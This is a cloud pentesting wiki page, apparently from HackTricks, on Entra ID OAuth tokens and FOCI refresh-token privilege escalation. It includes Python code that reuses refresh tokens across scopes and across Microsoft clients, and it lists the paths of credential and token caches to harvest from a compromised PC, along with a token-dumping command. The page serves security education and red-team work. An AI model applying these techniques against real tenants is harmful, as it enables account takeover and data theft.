# Az - Tokens & Public Applications

{{#include ../../../banners/hacktricks-training.md}}

## Basic Information

Entra ID is Microsoft's cloud-based identity and access management (IAM) platform, serving as the foundational authentication and authorization system for services like Microsoft 365 and Azure Resource Manager. Azure AD implements the OAuth 2.0 authorization framework and the OpenID Connect (OIDC) authentication protocol to manage access to resources.

### OAuth

**Key Participants in OAuth 2.0:**

1. **Resource Server (RS):** Protects resources owned by the resource owner.
2. **Resource Owner (RO):** Typically an end-user who owns the protected resources.
3. **Client Application (CA):** An application seeking access to resources on behalf of the resource owner.
4. **Authorization Server (AS):** Issues access tokens to client applications after authenticating and authorizing them.

**Scopes and Consent:**

- **Scopes:** Granular permissions defined on the resource server that specify access levels.
- **Consent:** The process by which a resource owner grants a client application permission to access resources with specific scopes.

**Microsoft 365 Integration:**

- Microsoft 365 utilizes Azure AD for IAM and is composed of multiple "first-party" OAuth applications.
- These applications are deeply integrated and often have interdependent service relationships.
- To simplify user experience and maintain functionality, Microsoft grants "implied consent" or "pre-consent" to these first-party applications.
- **Implied Consent:** Certain applications are automatically **granted access to specific scopes without explicit user or administrator approva**l.
- These pre-consented scopes are typically hidden from both users and administrators, making them less visible in standard management interfaces.

**Client Application Types:**

1. **Confidential Clients:**
   - Possess their own credentials (e.g., passwords or certificates).
   - Can **securely authenticate themselves** to the authorization server.
2. **Public Clients:**
   - Do not have unique credentials.
   - Cannot securely authenticate to the authorization server.
   - **Security Implication:** An attacker can impersonate a public client application when requesting tokens, as there is no mechanism for the authorization server to verify the legitimacy of the application.

## Authentication Tokens

There are **three types of tokens** used in OIDC:

- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** The client presents this token to the resource server to **access resources**. It can be used only for a specific combination of user, client, and resource and **cannot be revoked** until expiry - that is 1 hour by default.
- **ID Tokens**: The client receives this **token from the authorization server**. It contains basic information about the user. It is **bound to a specific combination of user and client**.
- **Refresh Tokens**: Provided to the client with access token. Used to **get new access and ID tokens**. It is bound to a specific combination of user and client and can be revoked. Default expiry is **90 days** for inactive refresh tokens and **no expiry for active tokens** (be from a refresh token is possible to get new refresh tokens).
  - A refresh token should be tied to an **`aud`** , to some **scopes**, and to a **tenant** and it should only be able to generate access tokens for that aud, scopes (and no more) and tenant. However, this is not the case with **FOCI applications tokens**.
  - A refresh token is encrypted and only Microsoft can decrypt it.
  - Getting a new refresh token doesn't revoke the previous refresh token.

> [!WARNING]
> Information for **conditional access** is **stored** inside the **JWT**. So, if you request the **token from an allowed IP address**, that **IP** will be **stored** in the token and then you can use that token from a **non-allowed IP to access the resources**.

### Access Tokens "aud"

The field indicated in the "aud" field is the **resource server** (the application) used to perform the login.

The command `az account get-access-token --resource-type [...]` supports the following types and each of them will add a specific "aud" in the resulting access token:

> [!CAUTION]
> Note that the following are just the APIs supported by `az account get-access-token` but there are more.

<details>

<summary>aud examples</summary>

- **aad-graph (Azure Active Directory Graph API)**: Used to access the legacy Azure AD Graph API (deprecated), which allows applications to read and write directory data in Azure Active Directory (Azure AD).
  - `https://graph.windows.net/`

* **arm (Azure Resource Manager)**: Used to manage Azure resources through the Azure Resource Manager API. This includes operations like creating, updating, and deleting resources such as virtual machines, storage accounts, and more.
  - `https://management.core.windows.net/ or https://management.azure.com/`

- **batch (Azure Batch Services)**: Used to access Azure Batch, a service that enables large-scale parallel and high-performance computing applications efficiently in the cloud.
  - `https://batch.core.windows.net/`

* **data-lake (Azure Data Lake Storage)**: Used to interact with Azure Data Lake Storage Gen1, which is a scalable data storage and analytics service.
  - `https://datalake.azure.net/`

- **media (Azure Media Services)**: Used to access Azure Media Services, which provide cloud-based media processing and delivery services for video and audio content.
  - `https://rest.media.azure.net`

* **ms-graph (Microsoft Graph API)**: Used to access the Microsoft Graph API, the unified endpoint for Microsoft 365 services data. It allows you to access data and insights from services like Azure AD, Office 365, Enterprise Mobility, and Security services.
  - `https://graph.microsoft.com`

- **oss-rdbms (Azure Open Source Relational Databases)**: Used to access Azure Database services for open-source relational database engines like MySQL, PostgreSQL, and MariaDB.
  - `https://ossrdbms-aad.database.windows.net`

</details>

### Access Tokens Scopes "scp"

The scope of an access token is stored inside the scp key inside the access token JWT. These scopes define what the access token has access to.

If a JWT is allowed to contact an specific API but **doesn't have the scope** to perform the requested action, it **won't be able to perform the action** with that JWT.

### Get refresh & access token example

```python
# Code example from https://github.com/secureworks/family-of-client-ids-research
import msal
import requests
import jwt
from pprint import pprint
from typing import Any, Dict, List


# LOGIN VIA CODE FLOW AUTHENTICATION
azure_cli_client = msal.PublicClientApplication(
    "04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client
)
device_flow = azure_cli_client.initiate_device_flow(
    scopes=["https://graph.microsoft.com/.default"]
)
print(device_flow["message"])

# Perform device code flow authentication

azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow(
    device_flow
)
pprint(azure_cli_bearer_tokens_for_graph_api)


# DECODE JWT
def decode_jwt(base64_blob: str) -> Dict[str, Any]:
    """Decodes base64 encoded JWT blob"""
    return jwt.decode(
        base64_blob, options={"verify_signature": False, "verify_aud": False}
    )
decoded_access_token = decode_jwt(
    azure_cli_bearer_tokens_for_graph_api.get("access_token")
)
pprint(decoded_access_token)


# GET NEW ACCESS TOKEN AND REFRESH TOKEN
new_azure_cli_bearer_tokens_for_graph_api = (
    # Same client as original authorization
    azure_cli_client.acquire_token_by_refresh_token(
        azure_cli_bearer_tokens_for_graph_api.get("refresh_token"),
        # Same scopes as original authorization
        scopes=["https://graph.microsoft.com/.default"],
    )
)
pprint(new_azure_cli_bearer_tokens_for_graph_api)
```

### Other access token fields

- **appid**: Application ID used to generate the token
- **appidacr**: The Application Authentication Context Class Reference indicates how the client was authenticated, for a public client the value is 0, and if a client secret is used the value is 1
- **acr**: The Authentication Context Class Reference claim is "0" when the end-user authentication did not meet the requirements of ISO/IEC 29115.
- **amr**: The Authentication method indicates how the token was authenticated. A value of “pwd” indicates that a password was used.
- **groups**: Indicates the groups where the principal is a member.
- **iss**: The issues identifies the security token service (STS) that generated the token. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (the uuid is the tenant ID)
- **oid**: The object ID of the principal
- **tid**: Tenant ID
- **iat, nbf, exp**: Issued at (when it was issued), Not before (cannot be used before this time, usually same value as iat), Expiration time.


## FOCI Tokens Privilege Escalation

Previously it was mentioned that refresh tokens should be tied to the **scopes** it was generated with, to the **application** and **tenant** it was generated to. If any of these boundaries is broken, it's possible to escalate privileges as it will be possible to generate access tokens to other resources and tenants the user has access to and with more scopes than it was originally intended.

Moreover, **this is possible with all refresh tokens** in the [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) because as the [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mention: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."

Moreover, note that the FOCI applications are public applications, so **no secret is needed** to authenticate to the server.

Then known FOCI clients reported in the [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) can be [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).

### Get different scope

Following with the previous example code, in this code it's requested a new token for a different scope:

```python
# Code from https://github.com/secureworks/family-of-client-ids-research
azure_cli_bearer_tokens_for_outlook_api = (
    # Same client as original authorization
    azure_cli_client.acquire_token_by_refresh_token(
        new_azure_cli_bearer_tokens_for_graph_api.get(
            "refresh_token"
        ),
        # But different scopes than original authorization
        scopes=[
            "https://outlook.office.com/.default"
        ],
    )
)
pprint(azure_cli_bearer_tokens_for_outlook_api)
```

### Get different client and scopes

```python
# Code from https://github.com/secureworks/family-of-client-ids-research
microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
microsoft_office_bearer_tokens_for_graph_api = (
    # This is a different client application than we used in the previous examples
    microsoft_office_client.acquire_token_by_refresh_token(
        # But we can use the refresh token issued to our original client application
        azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"),
        # And request different scopes too
        scopes=["https://graph.microsoft.com/.default"],
    )
)
# How is this possible?
pprint(microsoft_office_bearer_tokens_for_graph_api)
```

## Where to find tokens

From an attackers perspective it's very interesting to know where is it possible to find access and refresh tokens when for example the PC of a victim is compromised:

- Inside **`<HOME>/.Azure`**
  - **`azureProfile.json`** contains info about logged in users from the past
  - **`clouds.config contains`** info about subscriptions
  - **`service_principal_entries.json`** contains applications credentials (tenant id, clients and secret). Only in Linux & macOS
  - **`msal_token_cache.json`** contains contains access tokens and refresh tokens. Only in Linux & macOS 
  - **`service_principal_entries.bin`** and msal_token_cache.bin are used in Windows and are encrypted with DPAPI
  - **`msal_http_cache.bin`** is a cache of HTTP request
    - Load it: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)`
  - **`AzureRmContext.json`** contains information about previous logins using Az PowerShell (but no credentials)
- Inside **`C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*`** are several `.bin` files with **access tokens**, ID tokens and account information encrypted with the users DPAPI.
- It’s possible to find more **access tokens** in the `.tbres` files inside **`C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\`** which contain a base64 encrypted with DPAPI with access tokens.
- In Linux and macOS you can get **access tokens, refresh tokens and id tokens** from Az PowerShell (if used) running `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"`
  - In Windows this just generates id tokens.
  - Possible to see if Az PowerShell was used in Linux and macSO checking is `$HOME/.local/share/.IdentityService/` exists (although the contained files are empty and useless)
- If the user is **logged inside Azure with the browser**, according to this [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) it's possible to start the authentication flow with a **redirect to localhost**, make the browser automatically authorize the login, and receive the resh token. Note that there are only a few FOCI applications that allow redicet to localhost (like az cli or the powershell module), so these applications must be allowed.
  - Another option explained in the blog is to use the tool [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) which can use any application because it'll **get the OAuth code to then get a refresh token from the title of the final auth** page using the redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient`.

## References

- [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
- [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md)

{{#include ../../../banners/hacktricks-training.md}}



